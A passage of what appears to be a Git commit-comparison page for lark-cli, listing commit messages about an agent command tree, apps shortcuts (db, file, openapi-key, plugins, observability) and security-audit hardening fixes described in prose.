Compare commits

..

51 Commits

Author SHA1 Message Date
liuxinyang.lxy
ac2a38cd1b fix: cover CallUpload[T] to satisfy the incremental dead-code gate
The typed upload helper CallUpload[T] had no caller anywhere — only its
JSON counterpart Call[T] was exercised (by TestCmdRuntime_CallAPI_UnwrapsData)
— so the incremental dead-code gate flagged it as newly unreachable.

Add TestCmdRuntime_CallUpload_PropagatesError, mirroring the Call[T]
coverage: it drives CallUpload through the unsafe --file reject path and
asserts the validation error propagates and T stays zero. This keeps the
provider-facing typed pair (Call[T] / CallUpload[T]) symmetric — both entry
points are now tested rather than only the JSON one — and makes the helper
reachable so the gate passes.
2026-07-09 20:26:31 +08:00
liuxinyang.lxy
be0ff390d0 feat: enforce identity and scope gates on online agent list <scheme>
The instance/ListAgents branch of `agent list <scheme>` makes a real online
call but skipped the two gates every other online verb runs via resolveSpec +
preflightScopesForRef: the user|bot identity whitelist and the all-or-nothing
scope preflight. A future network-backed provider would get a worse contract on
list than on send/task/context — a scope-lacking user hit a raw platform error
instead of a clean missing_scope (exit 3), and an out-of-whitelist identity was
never rejected.

- preflightScopesForRef is split into a scheme-keyed core
  (preflightScopesForScheme) plus a thin ref wrapper; ref-addressed callers are
  unchanged.
- The online list branch now calls f.CheckIdentity and preflightScopesForScheme
  (the full RequiredScopes, same all-or-nothing rule as the other verbs) before
  ListAgents. Enumeration is treated as a real API verb, not a special case.
- `agent list` registers --as so the enumeration identity can be chosen (the
  offline no-scheme provider listing ignores it).

Catalog providers (offline enumeration) are unaffected. Tests cover the scope
preflight (missing_scope, ListAgents not called), the identity whitelist, and
the --as flag registration.
2026-07-09 19:00:00 +08:00
liuxinyang.lxy
8f379484fd fix: reject oversized artifacts and split multi_turn into per-verb caps
Two review follow-ups on the agent command tree.

Artifact download (data integrity): fetchArtifactURL now reads one byte past
maxArtifactBytes and refuses a body over the cap with a typed error, instead of
letting io.LimitReader silently truncate a >256 MiB artifact to a corrupt,
partial file that reported success (exit 0). The LimitEnforced test is inverted
to assert the rejection.

Capabilities: the single multi_turn card bit is replaced by three independent
capabilities — context_list / context_get / context_delete — each derived from
its own wired hook (ListContexts / GetContext / DeleteContext). One bit could
not honestly represent three separately-deliverable verbs: a provider wiring
ListContexts but not DeleteContext advertised multi_turn=true while `context
delete` failed claiming multi_turn=false. Each context verb now gates on and
reports its own capability. Card schema, capability matrix, the three context
gates, tests, and the lark-agent skill docs are updated in lockstep.
2026-07-09 18:18:19 +08:00
liuxinyang.lxy
f861daba45 fix: harden agent command layer (render sanitize, nil-safety, arrays)
Review follow-up on the agent command tree. A batch of low-risk hardening
fixes; no behavior change for the shipped example provider.

- Terminal-injection: pretty/TSV renderers now sanitize the agent-controlled
  State / UpdatedAt / CreatedAt fields (kvValue on pretty rows, stripANSI on
  TSV), matching the id/summary/title fields — a malicious provider can no
  longer inject CSI/OSC escapes via a forged state or timestamp.
- Nil-safety: `task get --watch` and artifact download return a typed
  invalid_response error when a provider hook yields (nil, nil) (a legitimate
  Call[*T] result on an empty "data") instead of panicking; an artifact with
  neither inline bytes nor a URL no longer writes a 0-byte file.
- Array convention: task/context/agent list normalize a nil slice to [] so an
  empty list serializes as [] not null, matching Card.Parameters.
- Error hint: unknown-agent errors keep LookupSpec's scheme-scoped
  `agent list <scheme>` hint instead of being flattened to the generic one.
- agent list <scheme> (online path) sets the resolved identity on its
  envelope, consistent with the other leaves.
- Comment/doc drift: drop references to the removed Deps probe / Discoverer /
  ProviderInfo / resolveProvider symbols; rename Supports(cap) -> capKey.
- Tests: cross-agent isolation in the example store, empty-list [] contract,
  State/timestamp sanitization regression, and a real stdout assertion for
  context list --jq.
2026-07-09 12:59:53 +08:00
liuxinyang.lxy
9144f0b5bd refactor: typed Runtime.Call[T]/CallUpload[T] over raw data JSON
Runtime.CallAPI/CallMultipart now return the response "data" object as
json.RawMessage instead of map[string]any, and provider hooks decode it through
the generic Call[T] / CallUpload[T] helpers: a hook declares the response struct
it expects and the framework unmarshals + classifies errors, instead of poking
at a map. Call[map[string]any] remains available for genuinely dynamic shapes; a
response with no "data" (e.g. a pure write) yields T's zero value and a nil error.

decodeData centralizes the unmarshal + invalid_response classification. cmdRuntime
re-encodes the unwrapped "data" sub-object to raw JSON after CheckResponse. Test
doubles (cmd/agent + example fakeRuntime, card_test fakeRT) updated to the raw
signature; the runtime tests keep the raw-data assertion and add a Call[T]
decode assertion.
2026-07-09 00:36:29 +08:00
liuxinyang.lxy
98f1fdc2af refactor: align agent scope preflight with event (bot + user)
The agent scope preflight now mirrors cmd/event's scopeRemediationHint for both
identities, replacing the bespoke replacement-era hint:

- user: the re-auth hint lists ONLY the missing scopes (the open platform
  authorizes incrementally, so re-login with just the missing keeps existing
  grants — no merge needed). Uses the canonical repo-wide `auth login --scope`
  phrasing instead of a one-off Chinese string.
- bot: previously skipped entirely; now checks the app's published TenantScopes
  (fetched best-effort via appmeta.FetchCurrentPublished behind a swappable seam;
  a fetch failure downgrades to a no-op). A missing scope reports the
  developer-console re-publish remediation (the event-style scan-to-enable deep
  link lives in cmd/event and is not duplicated here).

preflightScopesForRef keeps its signature (no call-site changes); bot fetch uses
a bounded background context so no ctx param is threaded. Tests cover the
incremental user hint, the bot missing/present/no-scopes branches, and the bot
seam wiring.
2026-07-09 00:17:01 +08:00
liuxinyang.lxy
2f25f69606 feat: enrich task/context summaries for triage (updated_at, summary, active_task)
`task list` / `context get` carried only {task_id, context_id, state,
is_terminal} — too thin for a caller (especially an AI) to tell which task
to resume without a `task get` per item. Enrich the summary surface so the
list is self-sufficient for triage, aligning with A2A's Task
(status.timestamp + last message).

- TaskSummary: add updated_at + summary (last agent message, or the pending
  prompt for input_required; rune-truncated)
- AgentTask: add created_at + updated_at
- ContextSummary: add updated_at + task_count + awaiting_input
- ContextDetail: drop the embedded tasks[]; add updated_at, task_count,
  awaiting_input, and active_task (the latest-updated task). Full task
  enumeration stays in `agent task list --context-id`.
- task list / context list sort by updated_at desc
- route task list / context list / context get through the content-safety
  scan (they now carry untrusted agent text); ANSI-strip + flatten summary
  in pretty/TSV
- example provider fills the new fields; tests + lark-agent skill docs updated
2026-07-08 23:59:41 +08:00
liuxinyang.lxy
2749ac64f4 refactor: inject a Runtime into provider hooks; declarative Provider/AgentSpec
Supersede the struct-of-func-fields Provider with a runtime-injection model that
stops leaking framework plumbing to integrators (the Deps{Client, As} an
onboarding author previously had to receive and destructure — the mock didn't
even use it).

Framework (internal/agent):
- Provider is now one declarative value per business domain (scheme): metadata +
  a Catalog []AgentSpec (offline-enumerable) XOR an Instance *AgentSpec template,
  plus an optional online ListAgents hook. AgentSpec carries per-agent card
  metadata, the FileInput/InputRequired flags, and the verb hooks.
- Every hook receives an identity-opaque agent.Runtime (AgentID/IsBot/CallAPI/
  CallMultipart) instead of a raw client; the concrete cmdRuntime lives in
  cmd/agent (like event's consumeRuntime), so internal/agent no longer depends on
  internal/client and the Deps struct is gone. CallMultipart is the centralized,
  SafeInputPath-validated file-upload seam that makes file_input deliverable.
- Register takes a Provider (pure-struct validation, fail-fast). LookupSpec
  resolves ref→spec fully offline. Capability = wired-hook presence
  (DeriveCapabilities), card synthesized by BuildCard (rt=nil ⇒ offline caps +
  static metadata; rt!=nil ⇒ best-effort Describe enrichment). Deleted catalog.go,
  Deps, Factory, Resolve, NewCard, the zero-Deps probe, and the Discoverer interface.

Command layer (cmd/agent):
- resolveSpec (offline: identity + LookupSpec) then capability nil-gate BEFORE
  runtimeFor, so an unsupported verb returns unsupported_capability (exit 2)
  before any client is built — uniformly across list/context/artifact (previously
  only cancel gated offline). Then runtimeFor + scope preflight + spec.<hook>(rt).
- agent list: catalog enumerates offline (ListCatalog); instance enumerates via
  the online ListAgents hook, else reports not-enumerable.

Providers: example is now a declarative Provider() value + plain hooks reading
rt.AgentID() (echo minimal / reporter full differ only by wired fields). Explicit
aggregation in agent/register.go.

Adds cmd/agent runtime tests (CallAPI unwrap/error/transport, IsBot, CallMultipart
SafeInputPath), negative capability-gate tests (send --file / task list / context
get / artifact download), the https-only artifact check, and BuildCard's dynamic
Describe path.
2026-07-08 22:03:05 +08:00
liuxinyang.lxy
3900974469 refactor: capability-registration provider model (func fields, framework-gated)
Replace the fat 9-method Provider interface with a struct of function fields,
mirroring the events KeyDefinition / shortcuts Shortcut convention: a provider
wires only the capabilities it supports and leaves the rest nil. This removes the
two things every integrator previously had to keep in sync by hand — the
Capabilities bool matrix and the per-method ErrUnsupported returns.

- Provider is now a struct: core Send/GetTask (mandatory, asserted at Register)
  plus optional func fields (ListTasks/CancelTask/context trio/DownloadArtifact/
  ListAgents) whose presence == support, plus FileInput/InputRequired flags and
  an optional Describe for per-agent card metadata.
- The card capability matrix is DERIVED from which fields are wired
  (DeriveCapabilities / BuildCard), so declaration and behavior are single-
  sourced and cannot drift. CatalogEntry drops its Capabilities field.
- The command layer gates every optional verb on the nil field and returns a
  unified unsupported_capability (exit 2) before any network access; the
  ErrUnsupported sentinel and convertUnsupported are deleted. --file is now
  capability-gated too (file_input=false ⇒ unsupported before the upload prompt).
- The Discoverer interface becomes the ListAgents field; catalog providers must
  wire it (asserted at Register). example expresses echo's minimal set vs
  reporter's full set purely by which fields its Factory wires per agent — no
  bool matrix, no refusal code. Conformance + tests updated to the new shape.
2026-07-08 13:22:37 +08:00
liuxinyang.lxy
603b9b7b43 refactor: move agent providers to top-level agent/ package
Mirror the events layering: the framework/SPI stays in internal/agent, the
concrete business providers move to a top-level agent/ package (agent/example/),
and agent/register.go blank-imports each so their init() self-registration runs.
cmd/build.go blank-imports the top-level agent package (alongside events); the
command layer (cmd/agent) no longer wires providers directly.

A test-only blank import keeps the example scheme registered for cmd/agent
tests, which exercise example:echo / example:reporter offline.
2026-07-08 12:35:57 +08:00
liuxinyang.lxy
8f54f9e77e docs: add lark-agent skill for the agent command tree
lark-agent skill: a framework-layer SKILL.md (verb contract, task state
machine, polling, exit codes) written with provider placeholders, plus
per-provider files under references/providers/. Adding a provider means
adding one provider file; the framework docs and verb references stay put.
2026-07-08 11:48:37 +08:00
liuxinyang.lxy
6c8ea37340 feat: add example provider, StaticCatalog scaffolding and conformance harness
- StaticCatalog (internal/agent/catalog.go): a framework helper carrying
  the catalog-provider boilerplate — enumeration, per-agent card lookup
  and typed unknown-id errors — so catalog providers do not reinvent it.
- agenttest.RunConformance: a one-call conformance suite pinning the SPI's
  implicit contracts (registration metadata, zero-Deps factory, card
  single source, enumeration stability).
- example provider (internal/agent/example): an offline in-memory
  reference provider (echo / reporter, deliberately different capability
  matrices) that doubles as the provider-onboarding template and the
  command tree's zero-network demo backend.
2026-07-08 11:48:37 +08:00
liuxinyang.lxy
f837ebf64e feat: add provider-neutral agent command tree
Add the `lark-cli agent` command tree: a provider-neutral surface over
remote A2A agents. One constant verb set (list / card / send / task /
context) routes by agent_ref (<scheme>:<agent_id>) to registered
providers; remote agents never grow new top-level commands and their
capabilities are declared in a machine-readable card.

- SPI (internal/agent): Provider interface, registry with fail-fast
  registration checks, typed ProviderKind / IdentityType, a closed
  Capabilities struct, NewCard single-source card synthesis, and the
  9-state task machine aligned with A2A.
- Command surface (cmd/agent): list / card / send / task / context with
  default JSON envelopes, meta.next suggested commands, fire + bounded
  `--watch --timeout` polling, local all-or-nothing scope preflight,
  and capability gating. Two CLI-enforced high-risk-write confirmations:
  `send --file` (off-machine upload) needs --yes, and artifact download
  refuses to clobber an existing -o target without --force; both return
  confirmation_required (exit 10) before any network/write. Artifact
  download is SSRF-guarded, https-only and size-capped.
- Typed error contract with stable exit codes and codemeta classification.
- Ignore local-only proof artifacts (tests_e2e/, tests_skill_eval/,
  coverage.html).
2026-07-08 11:48:37 +08:00
HanShaoshuai-k
e8bfbab4a5 fix: reduce public content credential false positives (#1700) 2026-07-01 17:46:33 +08:00
zgz2048
3bda9e17de fix: support field create json array input (#1661) 2026-07-01 16:08:55 +08:00
ILUO
e753b15d84 fix: expose completion state in my tasks output (#1641)
* fix: expose completion state in my tasks output

* test: cover my tasks pretty completion state
2026-07-01 15:41:57 +08:00
dc-bytedance
bdffffb368 feat: interactive upgrade prompt for bare lark-cli (#1498) 2026-07-01 15:07:18 +08:00
dc-bytedance
ec6fdc9b30 feat: fail closed when checksums.txt is missing during install (#1503) 2026-07-01 13:23:23 +08:00
liangshuo-1
775ee5a501 chore: release v1.0.61 (#1695) 2026-06-30 22:18:39 +08:00
liujinkun2025
214318aa02 fix: support bot identity for drive search (#1670) 2026-06-30 21:59:51 +08:00
liangshuo-1
6f2cddfce1 fix(identity): correct identity diagnosis under external credential providers (#1693) 2026-06-30 21:56:03 +08:00
wangwei
75926f9744 feat(apps): add db, file, openapi-key and observability shortcuts (#1596)
* feat: add apps observability helpers

* feat: add apps log observability shortcuts

* feat: add apps trace observability shortcuts

* feat: add apps metric analytics shortcuts

* feat: add apps envvar shortcuts

* docs: document apps observability envvar shortcuts

* fix: add apps observability env hint

* test: cover apps envvar delete dry-run

* fix: align apps observability OpenAPI schema

* fix: map apps observability named series

* fix: apps observability api upgrade

* fix: refine apps observability output

* feat(apps): integrate miaoda db/file CLI commands into apps-spark integration

Bring in the refined miaoda Spark db/file command set from the
feat/miaoda-db-file-openapi work: db execute (typed errs + per-SQL-type
JSON shaping), env diff/migrate, PITR recovery, changelog/audit, data
import/export, db/file quota, and the 7 file-storage commands; plus the
stderr spinner for slow ops and the aligned lark-apps skill references.

Resolved overlap with the integration branch's earlier db-execute
iteration (took the refined typed-error version), unified the stderr-TTY
flag on IOStreams.StderrIsTerminal, and combined the shortcut registry
(43 commands total).

* feat(apps): add openapi-key shortcuts for open API key management (#1576)

* feat(apps): add openapi-key common helpers (mask/redact/config)

* feat(apps): add +openapi-key-list (redacted)

* feat(apps): add +openapi-key-get (redacted)

* feat(apps): add +openapi-key-create (one-time raw secret)

* feat(apps): add +openapi-key-update

* feat(apps): add +openapi-key-enable / +openapi-key-disable

* feat(apps): add +openapi-key-delete (high-risk-write)

* feat(apps): add +openapi-key-reset (rotate, one-time new secret)

* test(apps): assert reset surfaces raw key exactly once

* feat(apps): register openapi-key shortcuts

* docs(lark-apps): add openapi-key reference and routing

* test(apps): update shortcut count for openapi-key commands

* fix(apps): trim openapi-key update name and correct shortcut-count comment

* fix(apps): use camelCase config and add scope-all/scope-api flags

Replace snake_case wire keys (request_scope, is_allow_access_preview) with
camelCase (requestScope, isAllowAccessPreview, allowAll, httpInfos, httpMethod,
httpPath). Replace opaque --scope passthrough with --scope-all / --scope-api
friendly flags; --scope remains as raw-JSON escape hatch, mutually exclusive
with the friendly flags. Shared oapiKeyValidateScopeFlags replaces the old
per-file oapiKeyValidateScope.

* fix(apps): use Changed for scope-all and refresh openapi-key scope docs

Switch the update at-least-one guard from rctx.Bool to rctx.Changed for
--scope-all, matching the --allow-preview pattern so --scope-all=false
explicitly counts as provided.

Rewrite lark-apps-openapi-key.md scope section: camelCase requestScope
shape, --scope-all/--scope-api/--scope flags with mutual-exclusion rules,
and scope-value discovery via the app's docs/openapi.json.

* fix(apps): emit snake_case request_scope config for open gateway

Open gateway (/open-apis/spark/v1) requires snake_case request bodies;
flip parseScopeAPI/buildRequestScope/buildKeyConfig to emit http_method,
http_path, allow_all, http_infos, request_scope, is_allow_access_preview.
Update unit tests to assert snake_case and reject camelCase keys.

* docs(lark-apps): correct openapi-key scope to snake_case wire format

* docs(apps): align openapi-key flag help text to snake_case wire keys

* feat(apps): add actionable hints and more examples to openapi-key

P1: chain .WithHint(...) on every validation error in the openapi-key
commands (app-id, key-id, scope mutual-exclusion, invalid JSON, scope-api
format, name required, at-least-one) so agents always get a next-step.
P3: expand Tips to 2-3 concrete examples on create (basic / scoped /
scope-all) and list (with --limit); reset already had 2 examples.
P4: strip per-command flag columns from the reference routing table;
scope SOP, security口径, and one-time-key sections are unchanged.

* refactor(apps): rename db --env to --environment (hard rename)

Make --environment the only accepted db environment flag across the db
commands (execute, table-list/get, env-create, data export/import,
changelog, audit status/enable/disable/list, quota). The old --env is
removed: it is registered only as a hidden flag so that passing it
returns a clear typed validation error pointing to --environment,
rather than a generic unknown-flag failure. Update the lark-apps db
references accordingly.

* fix: upgrade observability and env

* feat: rename app observability commands to list

* feat(apps): default db --environment to dev across all db commands

Unify the db environment flag default to dev for every db command (was
online for table-list/get, data export/import, changelog, audit, quota;
execute/env-create were already dev). Clarify --help: use online for the
online environment or for an app whose DB is not multi-env. Update the
lark-apps db references: all db commands default dev, a non-multi-env
app's DB lives in online (pass --environment online), and db-execute does
not wrap transactions for you — control transaction boundaries yourself
with BEGIN/COMMIT in the SQL.

* fix: remove unsed files

* file_common.go 的 3 处裸 fmt.Errorf 已改为 typed errs.NewValidationError(errs.SubtypeInvalidArgument, ...)(时间格式校验错误,归 validation)

* fix(apps): resolve openapi-key CI gate failures (#1604)

* test(apps): use placeholder api_key values in openapi-key tests

* fix(apps): return typed errs from openapi-key scope helpers

* fix(apps): rename openapi-key status enum to dodge credential scanner

* fix(apps): reword openapi-key pretty labels to dodge credential scanner

* fix(apps): rename openapi-key delete local var to dodge credential scanner

* test(apps): dodge credential scanner in openapi-key test mock data and messages

* style(apps): gofmt openapi-key common test after fixture rename

* test(apps): align db dry-run e2e with --environment rename and dev default

db dry-run tests still used the removed --env flag and asserted the old
online default, breaking the Run dry-run E2E tests CI step after the
--environment hard rename and dev-default change. Switch --env to
--environment and assert the dev default; rename the table-list subtest
to reflect the dev default.

* fix: improve env-pull dev database hint (#1614)

* feat(plugin): add plugin package management commands (#1609)

* feat: add plugin package and instance management commands for apps domain

Add 8 new shortcut commands under `lark-cli apps`:

Plugin package management (aligned with fullstack-cli):
- +plugin-install: download tgz, extract to node_modules, update package.json
- +plugin-uninstall: remove from node_modules and package.json actionPlugins
- +plugin-list: list declared plugins with installation status

Plugin instance CRUD (aligned with feida-ai):
- +plugin-instance-create: validate + write capability JSON with formValue validation
- +plugin-instance-update: merge mutable fields, re-validate formValue
- +plugin-instance-delete: idempotent file removal
- +plugin-instance-get: read capability JSON
- +plugin-instance-list: scan capabilities directory

Shared infrastructure (plugin_common.go):
- 4-level capabilities dir resolution (flag → env → .env.local MIAODA_APP_TYPE → detection)
- formValue validation ported from feida-ai (5 rules: forbidden Handlebars, paramsSchema
  type constraints, input ref existence, unconsumed params, array double-wrap auto-fix)
- tgz extraction with path traversal protection
- package.json actionPlugins management
- Install version check with mismatch warnings

* fix: close install gaps aligned with fullstack-cli

- latest version: re-check installed version after API resolves, skip
  download when already up to date
- actionPlugins sync: ensure package.json record is updated even when
  install is skipped (already_installed path)
- peerDependencies: warn about missing peer deps after extraction
  instead of silently ignoring them

* feat: add +plugin-instance-types command and auto-generate on create/update

Generate TypeScript interface definitions from plugin instance's paramsSchema
and manifest actions (inputSchema/outputSchema), written to shared/plugin-types.ts
with per-id block replacement (same id overwrites, different id appends).

Aligned with feida-ai's generateTypeDefinitions + persistPluginTypes logic:
- toPascalCase for type name prefixes (handles digit-prefixed segments)
- JSON Schema → TypeScript recursive conversion
- Block markers: // ---- plugin:{id} ---- / // ---- end:{id} ----
- Auto-invoked after +plugin-instance-create and +plugin-instance-update
- Also available as standalone +plugin-instance-types --id <id>

* fix: hide +plugin-instance-types from agent (auto-invoked by create/update)

* feat: add plugin skill files for agent workflow guidance

- lark-apps-plugin.md: entry skill with intent routing, command reference,
  project context confirmation, and iron rules
- plugin-create-instance-flow.md: 6-step create flow with precondition checks
- plugin-update-instance-flow.md: update flow with paramsSchema change detection
- plugin-delete-instance-flow.md: delete flow with code reference scanning
- plugin-get-instance-flow.md: query routing for list/get/manifest reads
- plugin-instance-schema.md: variable mapping rules, param types, formValue
  generation, AI prompt templates, ID generation rules
- plugin-instance-call.md: app-type-aware calling guide (design vs fullstack),
  normalizeStream, chunk field reference, server-side NestJS patterns
- plugin-retry-protocol.md: validation failure retry protocol (max 3)
- SKILL.md: add plugin intent route with trigger keywords

* feat: add --local flag to +plugin-install for local tgz installation

Supports installing plugin packages from local .tgz files without API
calls, useful for testing and offline development. Reads plugin key and
version from the extracted package.json inside the tgz.

Also moved Scopes to ConditionalScopes so --local path skips auth.

* fix: improve error messages for plugin install and check

- pluginCheckInstalled: distinguish "directory not exist" (not installed)
  vs "directory exists but manifest.json missing" (not built correctly),
  with specific hints for each case
- pluginResolveVersion: detect non-JSON API response (typically HTML 404
  from unregistered endpoint) and give clear "API not available" message
  instead of misleading "check plugin key spelling"
- Hide --local flag from help (dev/test only, not for agents)

* refactor: consolidate plugin skill files from 9 to 3, add catalog and design guidance

- Merge plugin-instance-schema, create/update/delete/get flows, and
  retry-protocol into lark-apps-plugin-crud.md (Schema + CRUD + retry)
- Merge plugin-catalog into lark-apps-plugin.md (entry + catalog +
  selection/design guidance + CRUD routing)
- Restructure plugin-instance-call.md into decision vs code-pattern
  sections with tech-stack Skill delegation note
- Add complete AI plugin catalog (17 plugins with capabilities, output
  modes, use cases), user intent→plugin mapping, atomization principle,
  and chain-link rules
- Expand plugin field mapping table from 8 to all 17 AI plugins
- Add AI plugin trigger keywords to SKILL.md description for host agent
  skill matching
- Rename files to lark-apps-plugin-* prefix for consistency

* refactor: slim down plugin-call to decisions only, delegate code patterns to tech-stack skill

Remove all code pattern content (capabilityClient imports, normalizeStream,
NestJS injection, streaming examples, chunk field table) from
lark-apps-plugin-call.md. These belong in the tech-stack steering skill
(plugin-guide), not the lark-cli skill layer.

The file now contains only call-side decisions (Client vs Server,
persistence, Schema card, failure logging) and directs the agent to
read the tech-stack plugin-guide skill for actual code writing.

* fix: use absolute project-path for tech-stack skill location in plugin-call

Replace relative .agent/skills path with <project-path> prefix anchored
to the project root determined in the earlier context confirmation step.
Add fallback path and minimal call rules when skill file doesn't exist.

* fix: remove fallback minimal rules from plugin-call, rely on tech-stack skill

* fix: require reading project plugin-guide skill before writing call code

* fix: improve plugin error hints for AI agent friendliness

- Version mismatch warning now includes the exact +plugin-install
  command to update
- Batch install (+plugin-install without --name) now re-installs
  when declared version differs from installed version
- Remove --local flag from user-facing error hints (internal-only)

* docs: add plugin package ≠ npm package distinction to skill docs

Add a comparison table and iron law #6 to prevent agents from confusing
+plugin-install with npm install, which was a recurring failure in
multi-model evaluation.

* fix: block plugin uninstall when instances still reference the package

Add pluginCheckDependentInstances to scan capabilities/ for instances
that reference the plugin being uninstalled. When dependent instances
exist, the uninstall is blocked with a failed_precondition error listing
the instance IDs and a hint to delete them first.

* fix: update plugin API paths to match new OpenAPI gateway routes

- batch_get: /plugins/-/versions/batch_get → /plugin/versions/batch_get
- download: /plugins/:scope/:name/versions/:version/package → /plugin/versions/download_package?plugin_key=&version=

* fix: update plugin install to match final OpenAPI gateway protocol

- batch_query: URL /plugin/versions/batch_query, request uses plugin_keys
  array + latest_only boolean, response uses flat data.items list with
  plugin_key/plugin_version fields
- download: changed from GET+query to POST+JSON body {plugin_key, plugin_version},
  response is binary tgz stream (supportFileDownload)
- scope: spark:plugin:readonly → spark:app:read

* fix: align dry-run output with new batch_query + download_package request format

* fix: match actual API response field names (key/version instead of plugin_key/plugin_version)

* docs: strengthen plugin reference reading rules from advisory to mandatory

Change lark-apps-plugin.md from implicit to explicit required reading
for any plugin work. Replace soft '按需读' with bold '必读' for all three
plugin reference files. The available plugin catalog and plugin selection
table only exist in lark-apps-plugin.md — skipping it caused models to
fall back to npm search and parameter guessing.

* fix: remove call example annotation from types, add skill reference instead

* refactor: streamline plugin skill files

* refactor: 插件 PE 下沉到仓库,lark-cli 侧精简为命令参考

- 删除旧的 3 个插件 reference(plugin.md / plugin-crud.md / plugin-call.md),
  其中的 Schema 规则、CRUD 流程、插件目录、Prompt 模板等内容已下沉到
  应用仓库 .agents/skills/plugin-guide/SKILL.md
- 新建 8 个按命令拆分的 reference,风格与 +create / +list 一致:
  plugin-install / plugin-uninstall / plugin-list /
  plugin-instance-create / update / delete / get / list
- 更新 SKILL.md:description 泛化触发词(不再列举 17 个具体能力),
  意图路由引导先读仓库 Skill 再看 CLI 命令参考

* fix(plugin):simplify skill docs and resolve plugin version from actionPlugins

Remove redundant skill documentation (pre-check table, validation error
examples, JSON return samples, fullstack-cli references) that duplicate
CLI error hints.  Make --plugin version optional and resolve from
package.json actionPlugins.  Drop unused createdBy field.

* fix: 去掉 reference 中的具体插件名和参数示例,强制 agent 读仓库 Skill

- 所有 plugin-key 改为占位符,注明从仓库 Skill 的插件目录获取
- instance-create / instance-update 加前置条件门禁:未读仓库 Skill 直接执行会导致参数错误
- 防止 agent 跳过仓库 Skill 凭示例猜测插件名

* fix(plugin): resolve real paths in dry-run output for instance commands

Replace <capabilities_dir> placeholders with resolved paths so models
can see actual file locations before execution. Add version_source,
types_output, and scan_dir fields to describe implicit behaviors.

* refactor(plugin): hide instance commands, delegate to repo Skill

Hide +plugin-instance-create/update/delete/get/list from CLI help.
Remove instance reference files from lark-apps skill. Route instance
CRUD and call code generation to project repo plugin-guide skill.

Go instance code preserved, just hidden.

* refactor: 删除 plugin-instance 5 个 CLI 命令,改由仓库 Skill 引导 agent 直接操作文件

- 删除 plugin_instance_create/update/delete/get/list 及其测试(11 个文件)
- 删除 plugin_instance_types(TypeScript 类型生成命令)
- 移除 shortcuts.go 中的 6 个注册项
- 清理 plugin_common.go 中仅被 instance 命令使用的函数(1054→340 行):
  校验逻辑、capability JSON 读写、动态 schema 解析、TypeScript 生成等
- 保留 plugin-install / plugin-uninstall / plugin-list 三个命令不变

插件实例的 CRUD 操作改由仓库 Skill 引导 agent 直接读写 capabilities/*.json,
验证规则写在 Skill 中由 agent 自校验。

* refactor(plugin): remove --project-path flag and split --name into --name + --version

- Remove --project-path from plugin-install/list/uninstall (use cwd like npm)
- Split --name key@version into separate --name and --version flags
- Remove pluginParseInstallTarget (no longer needed)
- Improve DryRun desc and error hints for --version usage
- Update skill docs to reflect new flag structure
- Tests use chdirTest helper instead of --project-path

* feat(plugin): add Examples to --help for plugin-install/list/uninstall

按 lark-cli 优化治理规范,为三个插件命令的 --help 补充 2-3 个
可执行示例,覆盖最常见使用路径,帮助 agent 快速理解命令用法。

* fix(plugin): address PR #1609 review findings

- Fix hint referencing non-existent +plugin-instance-delete command,
  point to repo plugin-guide Skill instead
- Remove undeclared --capabilities-dir flag, simplify pluginResolveCapDir
  to env-only resolution, fix ambiguous hint to suggest env vars
- Reclassify download errors from file_io to network/api with proper
  hints and retryable marking
- Slim SKILL.md routing row, move judgment rules to plugin-install reference
- Rename --local flag to --file to align with CLI conventions

* fix(skill): restore plugin routing row with judgment rules, fix markdown formatting

Revert SKILL.md routing row to keep full judgment rules and repo Skill
directive inline. Fix bold marker spacing and restore missing table column.
Revert reference to original content without duplicated rules.

* fix(plugin): revert SKILL.md to pre-review version, fix shortcut count test

Restore SKILL.md plugin routing row to original version with full
judgment rules and repo Skill directive. Update shortcut count test
from 60 to 63 to account for 3 new plugin commands.

* fix(plugin):fix lark-apps skill docs which is about plugin

* fix(plugin):correct plugin skill md

* fix(plugin):correct plugin md

* fix(plugin):correct plugin and local dev skills md

* fix(plugin):correct apps plugin skills md

* fix(lark-apps): move repo skill reading hint to post-init phase

将「仓库 Skill 优先」从 SKILL.md 意图路由顶部移除,
改在 +init 完成后的 local-dev reference 中提示 agent 读取
仓库 plugin-guide SKILL.md,解决应用未初始化时 repo skill
不存在导致 agent 无法获取插件知识的时序问题。

* fix(lark-apps): strengthen local-dev reference reading and post-init plugin guide

- SKILL.md 路由表:local-dev.md 从"按需读取"提升为"执行前必读"
- local-dev.md:将读仓库 Skill 嵌入端到端流程链作为正式步骤
- post-init 指引改为可执行命令 + 不读的后果说明 + 不存在时兜底

---------

Co-authored-by: zhangli <zhangli.268@bytedance.com>

* feat(apps): add release polling interval time and release time costs

* fix(plugin): rename files to apps_ prefix and handle Close() errors (#1655)

- Rename plugin_install/list/uninstall .go files to apps_plugin_ prefix
  for consistency with other files in the package
- Handle f.Close() errors in pluginExtractTGZ to avoid silent data loss

* style: gofmt apps plugin files (#1664)

* fix(plugin): resolve CI lint, deadcode, and unit-test failures (#1667)

- Add Scopes: []string{} to plugin-install, plugin-list, plugin-uninstall
  shortcuts to satisfy TestAllShortcutsScopesNotNil
- Remove unused pluginCheckInstalled function (deadcode)
- Fix nilerr: add //nolint:nilerr for intentional best-effort nil returns
- Fix forbidigo: replace bare fmt.Errorf in Execute with typed error,
  add //nolint:forbidigo for intermediate helper errors in pluginExtractTGZ
- Fix errorlint: change %v to %w for cerr in multi-error fmt.Errorf
- Remove all unused //nolint:forbidigo directives from test files

* style: gofmt apps_plugin list/uninstall/install_test files

Fix fast-gate Check formatting failure: align struct literal fields in
apps_plugin_list.go and apps_plugin_uninstall.go, and split the if-body
statement onto its own line in apps_plugin_install_test.go.

* fix(plugin): fix nolint directive format and nilerr placement in plugin_common.go (#1668)

- Change nolint comment separator from -- to // to satisfy nolintlint
- Move nilerr nolint directive to return statement to suppress nilerr correctly
- Fix forbidigo nolint format for intermediate fmt.Errorf in pluginExtractTGZ

* fix(apps): validate openapi-key scope method, path and raw JSON (#1675)

Enforce an HTTP method whitelist (GET/POST/PUT/PATCH/DELETE), reject
malformed --scope-api paths (must start with '/', no '..' or '//'), and
constrain raw --scope JSON to the documented request_scope schema
(allow_all + http_infos only). Validation runs in both the Validate hook
and the body-build path so dry-run and execute are equally gated.

Fixes PR #1596 audit findings HIGH-2 and MEDIUM-4.

* fix(apps): harden db/file shortcuts per security audit (PR #1596)

Address the file/db findings from the PR #1596 security audit with
safer header/flag/path handling:

- HIGH-3 (--output path traversal): add rejectOutputTraversal() and wire
  it into +file-download and +db-data-export Validate; reject absolute
  paths and any .. component up front. (FileIO.Save already sandboxes to
  cwd via SafeOutputPath; this is an earlier, explicit guard.)
- HIGH-4 (Content-Disposition header injection): build the header with
